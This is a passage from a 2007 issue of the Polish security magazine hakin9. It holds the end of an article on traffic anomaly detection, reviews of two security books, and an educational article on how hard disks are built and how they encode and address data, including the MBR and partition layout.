stycznych poszczególnych typów
ruchu, implementacja analizy za-
leżności pomiędzy poszczególnymi
parametrami (np. stosunek liczby
wysłanych pakietów TCP do liczby
odebranych pakietów TCP), anali-
za poprawności uzyskanego wyni-
ku przed dodaniem go do logów,
zapis i analiza pakietów przechwy-
conych w momencie wykrycia ano-
malii. Oczywiście wszystkich za-
interesowanych zapraszamy ser-
decznie do współpracy. l

hakin9 Nr 3/2007

www.hakin9.org

Tytuł: Bezpieczeństwo w Windows Server 2003 Kompendium

Autor: Roberta Bragg

Wydawnictwo: Addison Wesley / Helion
Rok wydania: 2006

Stron: 1227

Księgozbiór

„Bezpieczeństwo…” nie jest książką, którą można pole-
cić początkującym administratorom Windows 2003. Od
czytelnika wymagana jest przynajmniej podstawowa
znajomość zasad funkcjonowania usługi Active Directo-
ry oraz świadomość możliwości jakie oferuje ten system.
Nie ma w tej publikacji objaśnień krok po kroku wprowa-
dzających w mechanizmy działające na serwerze. Nie
znajdziemy w niej jakże popularnych „wyklików” uczą-
cych gdzie, co i jak należy włączyć, ani spisu zasad
zabezpieczeń do wdrożenia. Nie doszukamy się opisów
słabych punktów systemu, czy wskazówek jak je zabez-
pieczyć.

Opracowanie Roberty Bragg zdecydowanie tego

typu uproszczeń unika. Autorka oparła konstrukcję swojej
publikacji na domyślnej polityce bezpieczeństwa informa-
cji, zaprezentowanej , w ogromnym rzecz jasna skrócie w
rozdziale pierwszym. Następne rozdziały – ich kolejność i
omawiane zagadnienia są logicznym tej polityki rozwinię-
ciem. Na ponad 1200 stronach podzielonych na 7 części

i 19 rozdziałów analizujemy razem z Robertą tematykę
uwierzytelniania i autoryzacji, zastanawiamy się jaka poli-
tyka w kwestii haseł przyniesie najlepsze rezultaty, badamy
zagadnienia poprawnego nadawania uprawnień i przywile-
jów. Zastanawiamy się nad rolą, jaką w bezpieczeństwie
domeny pełni usługa ActiveDirectory, porównujemy roz-
wiązania Win2003 z tymi znanymi z NT 4.0. Przeanali-
zujemy także kwestię zabezpieczeń samej usługi. W publi-
kacji nie zabrakło omówienia systemu szyfrowania plików
EFS czy zagadnień związanych z infrastrukturą klucza
publicznego. Pod koniec znalazły swoje miejsce także
kwestie dotyczące konserwacji, monitorowania, odtwarza-
nia danych czy zabezpieczania sieci wirtualnych. Jak więc
widać z tego bardzo skrótowego omówienia , praca Rober-
ty Bragg, zasługuje na miano kompendium. Kompendium
skierowanego do bardzo świadomego, wręcz dojrzałego
administratora sieci, nastawionego na dokładniejsze zro-
zumienie, a przez to lepsze zastosowanie filozofii bezpie-
czeństwa jaką propaguje i wspiera Windows 2003 Server.

Tytuł: Bezpieczeństwo protokołu TCP/IP kompletny przewodnik

Autor: Libor Dostálek

Wydawnictwo: Mikom

Rok wydania: 2006

Stron: 768

Jak nietrudno się domyślić – bezpieczeństwo protokołu
TCP/IP to temat rzeka. Łatwo jest w nim utonąć i łatwo się
pogubić. To pierwsze grozi czytelnikowi, którego wiedza
na temat protokołu jest bardzo podstawowa, to drugie nato-
miast grozi autorom, którzy zdecydują się zabrać za opisy-
wanie tak obszernego tematu . Libor Dostálek, który wraz
z grupą współautorów pokusił się o napisanie kompletne-
go przewodnika po bezpieczeństwie protokołu, wyszedł z
tej próby obronną ręką. Otrzymaliśmy bowiem ogromnie
ciekawą książkę, upakowaną konkretną wiedzą, unikającą

wodolejstwa, choć nie da się ukryć, że autorzy mają nieja-
ką czkawkę związaną z historią kraju, a wysiłki tłumacza by
coś z tym fantem uczynić tylko ją podkreślają.

Prócz tego akcentu „folklorystycznego”, w książce trudno

znaleźć słabsze momenty, chociaż osoby przyzwyczajone
do „klasycznego” opisu warstw lub też lubujące się w ska-
kaniu po lekturze mogą mieć problemy z zaakceptowaniem
zaproponowanej kolejności omawianych zagadnień.

Można natomiast zastanawiać się z jakiego powodu

omówienie OpenSSL znalazło się na samym końcu publika-
cji w sytuacji, kiedy spora część prezentowanego wcześniej
materiału w jakimś sensie bazuje na tym pakiecie.

Reasumując - „Bezpieczeństwo” jest pozycją po którą

warto sięgnąć, a Mikom jeszcze raz potwierdził, że książ-
ki oznaczone symbolem „zakazu wjazdu” to publikacje na
dobrym poziomie, które po prostu należy znać.

Recenzje opracowali Krystyna Wal i Łukasz Długosz z
zespołu InfoProf (http://www.infoprof.pl/). Książki do recen-
zji udostępniła Księgarnia Informatyczna w Krakowie (http:
//www.informatyczna.pl/).

www.hakin9.org

hakin9 Nr 3/2007

Sprzęt

ierwszy w historii twardy dysk poja-
wił się w 1957 roku. Wtedy to IBM za-
prezentował urządzenie o nazwie RA-

MAC 350 – złożony z pięćdziesięciu 24-calo-
wych dysków zespół miał pojemność 5 MB, a
koszt jego rocznej dzierżawy wynosił 35 tys.
dolarów; jak nietrudno policzyć, oznaczało to
7 tys. dolarów za megabajt. W epoce maszyn
mainframe budowano całe farmy dysków z
zamkniętymi w klimatyzowanych pomiesz-
czeniach zestawami talerzy o średnicach 14
czy 8 cali, wartymi grube dziesiątki tysięcy
dolarów. Pojawienie się IBM PC w roku 1981
wcale nie zapowiadało rewolucji w dziedzi-
nie pamięci masowych – system operacyjny

prapeceta zawierał procedury obsługi pamię-
ci w postaci magnetofonu kasetowego, choć
oczywiście istniała także możliwość korzy-
stania ze stacji dyskietek. Lista opcjonalnego
wyposażenia IBM PC/XT z roku 1983 obej-
muje już twardy dysk o pojemności 5 lub 10
MB – ówczesne napędy o znajomej średni-
cy 5,25 miały wysokość trzech cali (podob-
nie zresztą, jak wczesne stacje dyskietek) i
stąd właśnie określenie full height (współcze-
sny czytnik CD-ROM to half height). W roku
1984 Western Digital skonstruował – dzierżą-

cy przez kilka lat godność standardu przemy-
słowego, zastosowany w IBM PC/AT interfejs
ST506, zaś w 1986 roku opracowano wraz z
firmą Compaq znany dziś interfejs IDE (Inte-

grated Drive Electronics). Mniej więcej rok
później w komputerach stacjonarnych zaczę-
to instalować dyski 3,5 (o wysokości 1, czyli

low profile) – dopiero potem znalazły one za-
stosowanie w laptopach. Postęp technologii
powodował ciągły wzrost pojemności i szyb-
kości urządzeń, przy jednoczesnym spadku
zapotrzebowania na energię, coraz mniejszej
hałaśliwości i większej niezawodności. Wyni-
ki tego wyścigu obserwujemy na co dzień.

Dyski Twarde

Rafał Podsiadły

stopień trudności

Historia pamięci masowych sięga połowy dziewiętnastego wieku

– już wtedy używano kart perforowanych do wprowadzania

danych do mechanicznych maszyn liczących. Pierwsze

elektroniczne komputery korzystały z pamięci zbudowanej z

lamp elektronowych, potem zaczęły pojawiać się różne pamięci

magnetyczne: bąbelkowe, taśmowe, bębnowe.

Z artykułu dowiesz się...

• budowa dysku twardego,
• informacje dotyczące możliwych do wystąpie-

nia awarii,

• pojęcia dotyczące twardych dysków.

Co powinieneś wiedzieć...

• podstawowe pojęcia dotyczące twardych dys-

ków.

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

Dysk twardy – budowa

Dysk stały to wirujący talerz lub ze-
spół talerzy o powierzchni pokry-
tej nośnikiem magnetycznym, a od-
powiednio ustawiane na tych po-
wierzchniach głowice zapisują i od-
czytują dane.

Budowa HDD

(Hard Disc Driver)

W dalszej kolejności dysk twar-
dy można podzielić na następujące
strefy: obudowa, elementy elektro-
niczne, elementy mechaniczne, ele-
menty magnetyczne.

Obudowa

Zadaniem obudowy jest ochrona
znajdujących się w niej elementów
przed uszkodzeniami mechanicz-
nymi a także przed wszelkimi czą-
steczkami zanieczyszczeń znajdu-
jącymi się w powietrzu. Jest to ko-
nieczne, gdyż nawet najmniejsza
cząstka kurzu ma wymiary większe
niż odległość pomiędzy głowicą, a
powierzchnią nośnika, tak więc mo-
głaby ona zakłócić odczyt danych,
a nawet uszkodzić powierzchnię
bardzo szybko obracającego się
talerza dysku. W obecnych obudo-
wach jest umieszczana mała dziu-
ra, która zapewnia wyrównywanie
ciśnienia w dysku. Ponieważ szyb-
ko obracające się talerze zmienia-
ją ciśnienie wewnątrz urządzenia,
konieczna jest jego regulacja, przez
zamontowany otwór posiadający

odpowiednie filtry oczyszczające
powietrze z pyłków i różnego rodza-
ju zanieczyszczeń.

Dysk twardy firmy Seagate

Elementy elektroniczne – Głównym
celem podzespołów elektronicznych
jest kontrola ustalenia głowicy nad
wybranym miejscem dysku, odczyt
i zapis danych oraz ich ewentualna
korekcja. Jest to w zasadzie osobny
komputer, którego zadaniem jest je-
dynie obsługa dysku.

Elementy magnetyczne

Nośnik magnetyczny, umieszczony
na wielu wirujących talerzach wyko-
nanych najczęściej ze stopów alumi-
nium. Zapewnia to ich niewielką ma-
sę, a więc niewielką bezwładność,
co umożliwia zastosowanie silników
napędowych mniejszej mocy, a tak-
że szybsze rozpędzanie się talerzy
do prędkości roboczej.

Elementy mechaniczne

Zadaniem tych elementów jest
szybkie przesuwanie głowicy nad
wybrane miejsce na dysku reali-
zowane za pomocą ramienia. W
tej technologii wskazane jest sto-
sowanie materiałów lekkich o du-
żej wytrzymałości, co dzięki małej
ich bezwładności zapewnia szyb-
kie i sprawne wykonywanie posta-
wionych zadań. Ważny jet tu także
silnik pozwalający obracać talerza-
mi dysku.

Głowica

W nowoczesnych konstrukcjach sto-
suje się tak zwane głowice magneto-
rezystywne. Powinno się raczej uży-
wać określenia hybrydowe – do za-
pisu danych służy elektromagnetycz-
na głowica cienkowarstwowa (jej mi-
kroskopijna ceweczka ma około 10
zwojów), głowica magnetorezystyw-
na (cienko foliowa) służy do odczytu.
Pierwsze z nich to tradycyjne głowice
z rdzeniem wykonanym z tlenków że-
laza oraz cewką elektromagnetyczną.
Głowice te są cięższe i większe niż
głowice cienko foliowe. Wymagają też
większej wysokości zawieszenia nad
wirującym dyskiem. Głowice cienko
foliowe są układami półprzewodniko-
wymi. Są one produkowane w proce-
sie zgodnym z produkcją innych ukła-
dów scalonych, z tą różnicą, że mu-
szą one mieć kształt odwróconej lite-
ry U, aby zapewnić właściwe ciśnienie
powietrza. Głowice te są lżejsze i za-
wieszone są na wysokości około mi-
lionowych części cala nad wirującym
dyskiem. Zmniejszona wysokość za-
wieszenia umożliwia transmisję sil-
niejszego sygnału pomiędzy głowicą
a dyskiem, co z kolei zwiększa nie-
zawodność. Głowica takawykorzystu-
je efekt zmiany oporności elektrycz-
nej specjalnego materiału (stop żela-
za i niklu) przy zmianie pola magne-
tycznego i jest o wiele czulsza od gło-
wicy elektromagnetycznej. Pozwala
to znacznie zmniejszyć powierzchnię
zajmowaną przez każdy bit informacji,
a więc – zwiększyć gęstość zapisu.

Dysk posiada dwie głowice dla

każdej powierzchni. Pierwsza do-
konuje zapisu, druga odczytu. Tak
więc dysk posiadający dwa talerze
i mający cztery powierzchnie, posia-
da w rzeczywistości osiem głowic.
Wszystkie głowice połączone są jed-
nym mechanizmem i poruszają się
jednocześnie. Każda z głowic zamo-
cowana jest na końcu ramienia, któ-
re, gdy dysk nie pracuje (jest w sta-
nie spoczynku), dociska głowice do
powierzchni talerzy za pomocą sprę-
żyn. Dopiero po osiągnięciu wyma-
ganej prędkości obrotowej nastę-
puje ich gwałtowne wysunięcie nad
powierzchnię dysku i ustawienie nad
cylindrem zerowym. Podczas obro-

Rysunek 1.

Wnętrze twardego dysku

WNĘTRZE TWARDEGO DYSKU

Talerz dysku

Ramie

głowicy

Układ pozycjonowania

głowicy

Głowica dysku

Wewnętrzne

łącza głowicy

z kontrolerem

dysku

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

tów dysku nie stykają się one z jego
powierzchnią – powstająca w wyni-
ku szybkich obrotów talerzy podusz-
ka powietrzna utrzymuje głowice tuż
nad dyskiem. Rozwiązanie takie na-
zywane jest pływającymi głowicami i
jak na razie jest bezkonkurencyjne i
stosowane powszechnie, chociaż są
już w toku prace nad innymi sposo-
bami prowadzenia głowic.

Standardowe głowice zapisują-

co-odczytujące (zwane też głowica-
mi cienkowarstwowymi) posiadają
miniaturową cewkę, która umożliwia
zapis danych na płycie magnetycz-
nej lub ich odczyt. Gdy na twardym
dysku zapisywane są dane, specjal-
ny układ elektroniczny wysyła impulsy
elektryczne do cewki. W ten sposób
powstaje pole magnetyczne, które po-
rządkuje poszczególne cząstki na po-
wierzchni dysku. W przypadku odczy-
tu danych następuje procedura od-
wrotna. Namagnesowana powierzch-
nia dysku indukuje prąd w cewce, któ-
ry jest następnie przetwarzany przez
układ elektroniczny napędu. Nowo-
czesne dyski twarde wyposażone są
w dodatkową głowicę magnetorezy-
stywną (MR), umożliwiającą odczyty-
wanie danych z powierzchni nośnika.
Głowica zawiera pewną domieszkę
specjalnego stopu żelaza i niklu, któ-
ry pod wpływem pola magnetycznego
zmienia swój opór elektryczny. Do za-
pisu danych jest natomiast w dalszym
ciągu wykorzystywana głowica cien-
kowarstwowa. Zasadniczą zaletą ta-
kiego rozwiązania jest fakt, że głowi-
cą MR potrafi prawidłowo rozpozna-
wać dane także wtedy, gdy dysk ob-
raca się z dużą prędkością, a sektory
ułożone są bardzo gęsto.

Zmiany prądu

w uzwojeniu głowicy

Istnieje wiele metod zapisu infor-
macji cyfrowej na nośniku magne-
tycznym. Rysunek ilustruje zmia-
ny prądu magnesującego w głowi-
cy zapisu dla kilku metod, w przy-
padku gdy na odcinku nośnika ma-
gnetycznego chcemy zapisać nastę-
pujący, przykładowy ciąg informacji:
01111011000. Metoda Bez powro-

tu do zera (ang. Non Return to Ze-

ro, NRZ) polega na tym, że zmiana
kierunku prądu w głowicy zapisu na-
stępuje w chwili zmiany wartości ko-
lejnych bitów informacji. Zmiana kie-
runku prądu nie występuje podczas
zapisywania ciągu zer lub jedynek.
Metoda ta nie posiada możliwości
samosynchronizacji, tzn. z informa-
cji odczytanej nie da się wydzielić
impulsów (synchronizujących) okre-
ślających położenie komórki bito-
wej. W Metodzie Modulacji często-

tliwości (ang. Frequency Modulation,

FM), przy modulacji FM prąd głowi-
cy zapisu zmienia kierunek na po-
czątku każdej komórki bitowej, oraz
w środku komórki, gdy zapisywa-
ny bit ma wartość jedynki. Metoda
zmodyfikowanej modulacji częstotli-
wości (MFM). Metoda FM nazywana
jest także zapisem z pojedynczą gę-
stością i jest stosowana standardo-
wo w dyskietkach 8-calowych. Meto-
da MFM nazywana jest metodą z po-
dwójną gęstością, dzięki niej podwa-
jana jest pojemność dyskietki. Stosu-
je się tu następującą regułę:

• 1.bit o wartości 1 ustawia impuls

zapisujący pośrodku komórki bi-
towej (interwału czasowego);

• 2.bit o wartości 0 ustawia impuls

na początku komórki bitowej,
lecz tylko wtedy, gdy poprzedni
bit nie jest równy 1.

W metodzie tej dla odtworzenia da-
nych, w trakcie odczytu stosowany jest
układ z pętlą synchronizacji fazy PLL
(ang. Phase-Locked Loop), tworzący
ciąg impulsów taktowych (READ DA-
TA WINDOW – RDW), na podstawie
impulsów odczytanych z głowicy od-
czytu o nazwie READ DATA. Metoda
RLL (ang. Run-Length-Limited) redu-

kuje o ok. 35 procent ilość przemagne-
sowań nośnika – można zatem, przy
niezmienionej maksymalnej częstotli-
wości pracy, półtorakrotnie zwiększyć
gęstość zapisu danych.

Porównanie

metod zapisu

Zapis danych binarnych w formie
magnetycznej nie jest dokonywa-
ny bezpośrednio „bit w bit” – dane
przeznaczone do zapisu są kodowa-
ne według pewnych algorytmów, któ-
rych zadaniem jest usprawnienie od-
czytu, a także zapewnienie większej
jednoznaczności zapisu. Kodowa-
nie danych przeznaczonych do zapi-
su składa się z dwu faz – najpierw do
zapisywanych danych dodawane są
dane nadmiarowe umożliwiające de-
tekcję i korektę ewentualnych błędów
odczytu (CRC – Cyclic Redundancy

Code – najprostszy, a zarazem je-
den z najefektywniejszych algoryt-
mów wprowadzania danych nadmia-
rowych dla celów korekcji błędów),
następnie zaś wynikowe wartości są
przekształcane tak, by uniknąć po-
wtarzania dłuższych ciągów powta-
rzających się zer czy jedynek.

Historycznie pierwszym syste-

mem kodowania danych był MFM,
dziś już zupełnie nie stosowany, wy-
party następnie przez kodowanie RLL

(Run Lenght Limited) stosowane w
dyskach sztywnych do niedawna, a
wciąż jeszcze używane przy zapisie
na dyskietkach. Obecnie powszech-
nie stosowaną techniką kodowania
danych na dysku jest PRML (Par-

tial Response Maximum Likelihood),
która zapewnia największą efektyw-
ną gęstość zapisu, a także najniższą
stopę błędu odczytu danych. Techni-
ka PRML wymaga stosowania w ukła-
dach sterujących dysku specjalizowa-
nych procesorów o dużej mocy, jed-
nak technologie krzemowe są obec-
nie na tyle tanie, że uzyskiwane dzię-
ki nim zwiększenie gęstości zapisu z
nawiązką wyrównuje nieco wyższy
koszt wbudowanej w dysk elektroniki

PRML (Partial Response

Maximum Likelihood)

Większość napędów jeszcze do nie-
dawna podczas odczytu danych uży-

Rysunek 2.

Przepływ prądu w

głowicy

GŁOWICA

Prąd zapisu płynący

w uzwojeniu

głowicy

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

wała techniki zwanej peak detection
(wykrywanie wartości ekstremalnych
– maksimum siły sygnału). W miarę
wzrostu gęstości zapisu rozróżnienie
sąsiednich wartości szczytowych sy-
gnału od siebie nawzajem i od tzw.
tła stawało się coraz trudniejsze. Pro-
blem ten rozwiązywano wstawiając
pomiędzy sąsiadujące szczyty (jedyn-
ki) rozdzielające chwile ciszy (zera).
Takie postępowanie sprowadzało się
do kodowania zerojedynkowych cią-
gów za pomocą ciągów bardziej przej-
rzystych, czyli łatwiej identyfikowal-
nych, lecz z konieczności dłuższych.
To oczywiście obniżało efektywną gę-
stość zapisu danych, a w konsekwen-
cji także wydajność napędu.

Z pomocą przyszła opracowana

na potrzeby długodystansowej ko-
munikacji w przestrzeni kosmicznej
technologia PRML (Partial Respon-

se Maximum Likelihood). Pochodzą-
cy z głowicy odczytującej analogo-
wy sygnał jest próbkowany w wie-
lu miejscach, a następnie cyfrowo fil-
trowany przez wbudowany w elektro-
nikę dysku dedykowany procesor sy-
gnałowy DSP. Uzyskaną w ten spo-
sób próbkę analizuje się algorytmem
Viterbi. Sprawdza on wszystkie kom-
binacje danych, które mogły wygene-
rować zbliżony ciąg i wybiera tę naj-
bardziej prawdopodobną. Umożliwia
to dodatkowe zwiększenie czułości
kanału odczytu i istotne zmniejsze-
nie prawdopodobieństwa wystąpienia
błędów odczytu. Najlepsze efekty da-
je połączenie technologii PRML z ma-
gnetorezystywną głowicą odczytują-
cą ze względu na dobrą jakość gene-
rowanego przez nią sygnału analogo-
wego. Głowica magnetorezystywna

(MRH) wykorzystuje inne zjawisko fi-
zyczne niż głowice, zbliżone konstruk-
cją do stosowanych w zwykłych ma-
gnetofonach. Element czytający MRH
jest wykonany z substancji zmieniają-
cej opór w polu magnetycznym, więc
namagnesowanie nośnika bezpo-
średnio rzutuje na natężenie płyną-
cego przez głowicę MR prądu. Istot-
ną zaletą technologii MR jest więk-
sza czułość, pozwalająca na radykal-
ne zwiększenie gęstości zapisu, czy-
li wzrost pojemności napędu przy za-
chowaniu jego rozmiarów.

PRML oznacza także inną meto-

dę kodowania danych na dysku: o ile
przejście ze starej metody MFM (Multi-

ple Frequency Modulation) na bardziej
zaawansowaną RLL (Run Length Li-

mited) oznaczało wzrost upakowania
danych o około 50%, PRML daje tu
kolejne 20-40% zysku (różne źródła
podają różne wartości).

Nawigacja – ramię głowicy

Kiedyś na potrzeby nawigacji zarezer-
wowana była cała jedna powierzchnia
dysku, na której zapisane były znacz-
niki ścieżek i sektorów dla pozosta-
łych głowic. System taki nazywał się

dedicated servo, a głowica musiała
w nim regularnie korzystać ze ścieżki
sterującej, aby zoptymalizować swoją
pozycję. Dzisiejsze napędy posługują
się technologią embedded servo, któ-
ra wykorzystuje informacje sterujące
zapisane na każdej ścieżce. Znaczni-
ki umieszczone są na powierzchniach
roboczych i przemieszane z obszara-
mi danych. W celu uniknięcia błędów
odczytu głowica musi znajdować się
dokładnie nad środkiem danej ścież-
ki. Umieszczenie znaczników pośród

obszarów danych pozwala głowicy
zapisująco – odczytującej korzystać
z nich przez cały czas, co umożliwia
dokładniejsze pozycjonowanie. Ra-
mię dysku często jest kojarzone z ra-
mieniem gramofonu, jednak takie sko-
jarzenie nie jest zasadne. Podczas
gdy ramię gramofonu było prowadzo-
ne przez ścieżkę zapisu na płycie, to
z ramieniem głowic dysku jest zupeł-
nie inaczej – musi ono być ustawione
tak, by głowice znalazły się nad od-
czytywaną właśnie ścieżką (czy ra-
czej – na odczytywanym cylindrze).
W pierwszych konstrukcjach dysków
sztywnych pozycjonowanie głowic by-
ło realizowane przez mechanizm na-
pędzany silnikiem krokowym (rozwią-
zanie takie jest do dziś stosowane w
napędach dyskietek). W miarę wzro-
stu wymagań szybkościowych stoso-
wano inne rozwiązania, spośród któ-
rych optymalnym jak na razie okaza-
ło się voice coil, czyli układ magneto-
dynamiczny, wzorowany na tym, ja-
ki stosuje się w głośnikach (stąd na-
zwa) – umieszczona w polu silnego
magnesu stałego cewka porusza się
zgodnie z przepływającym przez nią
prądem, ustawiając w odpowiedniej
pozycji związane z nią mechanicznie
ramię głowic dysku. Technika ta po-
zwoliła na zmniejszenie czasu pozy-
cjonowania głowic na zadanej ścieżce
z kilkudziesięciu do kilku milisekund,
a przy przejściach pomiędzy kolejny-
mi ścieżkami nawet poniżej jednej mi-
lisekundy.

Niektóre firmy stosują technolo-

gię Read on Arrival, wykorzystującą
mechanizm korekcji błędów – pierw-
sza próba odczytu podejmowana jest
jeszcze zanim głowica ustabilizuje się
nad żądaną ścieżką; albo próba się
powiedzie, albo skutecznie zadziała
mechanizm korekcji błędu odczytu, w
najgorszym przypadku trzeba będzie
ponowić odczyt – nic do stracenia, a
można zyskać cenne milisekundy.

Oscylacja ramienia

względem czasu

Zapis na dysku dokonywany jest w
formie koncentrycznych ścieżek,
podzielonych na sektory. Dość ta-
jemnicze pojęcie cylinder, wystę-
pujące w opisie parametrów dys-

Rysunek 3.

Zapisywane dane

NRZ

MFM

RLL

Komórka bitowa

Dane zapisywane

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

ku i nieznajdujące bezpośredniego
odbicia w jego konstrukcji, to gru-
pa ścieżek o tym samym numerze
na wszystkich powierzchniach ro-
boczych.

Talerze dysku

Współczesne dyski charakteryzują
się gęstością rzędu 10 gigabita na
cal kwadratowy. Przy tej gęstości na
jednym calu długości ścieżki mieści
się 240 tysięcy bitów, na jeden cal
promienia dysku przypada 21 tysię-
cy ścieżek, a jeden bit zajmuje po-
wierzchnię 1,2 na 0,1 mikrometra
(przekrój ludzkiego włosa zmieściłby
około 1000 bitów). Dzięki doskonale-
niu technologii GMR (Giant Magne-
toresistive Effect) naukowcy przewi-
dują osiągnięcie gęstości 20 Gb na
cal kwadratowy.

Schematyczny

obraz dysku twardego

Typowy dysk twardy składa się z kil-
ku talerzy o wymiarach 5 1/4 cala lub
3 1/2 cala jego wymiar nie jest jed-
nak równie ważnym czynnikiem jak
w przypadku stacji dysków elastycz-
nych. Talerze dysków twardych są
niewymienne, zaś instalacja dysku 3
1/2 calowego w miejscu konstrukcyj-
nie przewidzianym na dysk 5 1/2 calo-
wy jest łatwa. Każdy talerz zbudowa-
ny jest z metalu o grubości zwykle 1/8
cala, pokrytego substancją magne-
tyczną, tzw. media. Najpopularniej-
szymi substancjami magnetycznymi
są związki zawierające tlenek żela-
za. Warstwa magnetyczna tworzona
jest w procesie, w którym krążki alu-
minium zostają pokryte pastą zawie-
rającą cząstki tlenku żelaza.

Obracające się z dużą szybko-

ścią talerze powodują równomierne
rozłożenie tej substancji na dysku.
Powierzchnia jest następnie polero-
wana i pokrywana warstwą ochron-
ną. Ostatecznie osiąga grubość 30
milionowych części cala. Wraz ze
wzrostem gęstości zapisu powłoka
magnetyczna powinna być cieńsza
i lepszej jakości, większej trwałości,
niezawodności i niewielkim współ-
czynniku dziur magnetycznych no-
śnika, tzw. drop-outów. Cienki no-
śnik umożliwia mniejszą wysokość

zawieszenia głowicy, a tym samym
większą gęstość zapisu.

Dysk twardy firmy

Quantum

Tradycyjnie w komputerze PC AT
adresowanie dysku przez przerwa-
nie 13 BIOS-u (INT 13) odbywało się
za pomocą trzech parametrów: cy-
lindra, głowicy i sektora (tzw. adre-
sowanie CHS od słów Cylinder, He-
ad, Sector). Konwencjonalne funk-
cje INT 13 używały 24 bitów do re-
prezentacji adresów, zatem możliwe
było jedynie zaadresowanie obsza-
ru o pojemności 8,4 GB (224×512
bajtów/sektor=8,4 GB). W celu prze-
kroczenia tej granicznej wartości
producenci wprowadzili dwa now-
sze sposoby adresowania (stosowa-
ne właśnie w dzisiejszych dyskach)
adresowania. Pierwszy polegał na
rozszerzeniu reprezentacji adresu
w konwencji CHS do 32 bitów, dru-
gi – częściej stosowany – używał zu-
pełnie odmiennej metody noszącej
nazwę LBA. W metodzie LBA (Lo-
gical Block Addressing) stosowane
jest adresowanie 28-bitowe, co po-
zwala na zaadresowanie obszaru do
pojemności wynoszącej: 228×512
bajtów/sektor=137,4 GB. Ten wła-
śnie tryb adresowania jest zaleca-
ny i zaimplementowany w BIOS-ach
większości dzisiejszych pecetów.

Opis CHS (cylinder/head/sector)

sprawdzał się bardzo dobrze w cza-
sach, gdy całością procesu zapisu i
odczytu danych zarządzała jednost-
ka centralna przy współudziale dość
prymitywnego sterownika.

Nietrudno jednak zauważyć, że

całkowita długość pierwszej, najbar-
dziej zewnętrznej ścieżki jest znacz-
nie większa od długości ostatniej,
najbliższej osi talerza. Liniowa gę-
stość zapisu jest stała dla wszystkich
ścieżek (po prostu – maksymalna), a
przy stałej liczbie sektorów na każ-
dej kolejnej ścieżce (licząc od ostat-
niej do pierwszej) marnowałaby się
coraz większa ilość miejsca. Dlatego
już od dość dawna stosuje się tech-
nikę MZR (Multiple Zone Recording),
maksymalnie wykorzystującą dostęp-
ną powierzchnię talerzy. W początko-
wym okresie stosowania MZR prakty-

kowano technikę przeliczania geome-
trycznej lokalizacji danych na logicz-
ne parametry systemu CHS. Wyma-
gało to dość kłopotliwego, ręcznego
wprowadzania parametrów przelicze-
niowych konkretnych modeli dysków
do pamięci konfiguracji systemu (tzw.

Setup). Od problemu indywidualnych
parametrów dysków uwolniły nas do-
piero: z jednej strony rozwój interfej-
su ATA, dzięki, któremu system był w
stanie samodzielnie odczytać z dysku
i przyjąć do wiadomości przeliczenio-
we parametry, z drugiej zaś – wprowa-
dzenie do BIOS-u funkcji obsługi try-
bu LBA (Logical Block Addressing),
uniezależniającego adresowanie da-
nych na dysku od ich fizycznej loka-
lizacji na nim.

MZR – Multiple Zone

Recording – zapis

wielostrefowy

Nietrudno zauważyć, że w wyni-
ku podziału każdej ścieżki na stałą
liczbę sektorów, sektory znajdujące
się dalej od osi dysku będą znacz-
nie dłuższe (długość sektorów we-
wnętrznych jest ograniczona od do-
łu maksymalnym upakowaniem bi-
tów na jednostkę powierzchni). Aby
zapobiec ewidentnemu marnotraw-
stwu miejsca, podzielono dysk na kil-
ka stref o określonej liczbie sektorów
(od 60 do 120 sektorów na ścieżkę),
coraz większej dla stref bliższych ob-
wodowi dysku. Zysk jest oczywisty (o
około 25% większa pojemność i wy-
dajność), przy okazji wychodzi na
jaw drobne oszustwo: jak to się ma
do liczby sektorów na ścieżkę dekla-
rowanej w Setupie BIOS? BIOS mó-
wi swoje, a elektronika dysku po ci-
chu dokonuje przeliczeń. Mało te-
go, wewnątrz dysku dzieje się jesz-
cze coś, o czym ani użytkownik, ani
system operacyjny nie mają zielone-
go pojęcia. Chodzi mianowicie o sys-
tem obsługi błędów. Oczywiście, da-
ne zapisywane na dysku wyposażo-
ne są w dodatkowe informacje umoż-
liwiające funkcjonowanie systemu
korekcji w locie (ECC on the fly, ko-
dowanie Reed-Solomon itd). Oprócz
tego jednak, na każdej ścieżce zare-
zerwowana jest pewna liczba sek-
torów, które w przypadku pojawie-

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

nia się fizycznych uszkodzeń nośni-
ka podstawiane są przez wewnętrz-
ny mikroprocesor napędu w miejsce
sektorów wadliwych – dzieje się to
całkowicie niezauważalnie dla świa-
ta zewnętrznego. Notabene, we-
wnętrzne układy mikroprocesoro-
we, w które wyposażone są współ-
czesne napędy, mają moc przetwa-
rzania porównywalną z co najmniej z
IBM PC/AT.

Obszary dysku

Aby komputer mógł wczytywać i uru-
chamiać system operacyjny, najważ-
niejsze informacje o strukturze da-
nych muszą się znajdować w ści-
śle zdefiniowanym miejscu na po-
wierzchni nośnika. W pierwszym
sektorze dysku (cylinder 0, głowica
0, sektor 1) zlokalizowany jest Ma-

ster Boot Record. BIOS kompute-
ra znajdzie tu program, który odpo-
wiedzialny jest za wczytanie sektora
startowego (bootsektora) z aktywnej
partycji dysku. Informacja, która par-
tycja jest aktywna, umieszczona jest
w tablicy partycji. Tablica ta znajduje
się podobnie jak MBR w pierwszym
sektorze dysku, który kończy się
właśnie na niej. Pozostały fragment
ścieżki 0 w cylindrze 0 jest pusty.
Można w nim umieścić BOOT-MA-
NAGERA (program wybierający, ja-
ki system operacyjny uruchomić). Tu
zagnieżdżają się również wirusy bo-
otsektora.

Partycja główna rozpoczyna się

w miejscu o współrzędnych: cylin-
der 0, głowica 1, sektor 1, a kończy
się zawsze w miejscu dowolnego cy-
lindra. Pierwszym sektorem party-
cji głównej jest sektor startowy. Od
drugiego sektora zaczyna się tablica
przydzieleń zbiorów, tuż za nią znaj-
duje się jej awaryjna kopia.

Partycja rozszerzona zaczyna się

zawsze na granicy cylindrów – np. z
początkiem cylindra X (

X>0

), przy

głowicy 0 i w sektorze 1. W odróżnie-
niu od partycji głównej, partycja roz-
szerzona nie posiada sektora starto-
wego, lecz zaczyna się od razu od
tablicy partycji, której pierwszy wpis
oznacza pierwszy napęd logiczny na
tej partycji. Drugi wpis odsyła z kolei
do partycji rozszerzonej, która stano-

wi kolejny napęd logiczny, i tak dalej,
aż zostaną po przydzielane wszyst-
kie napędy logiczne.

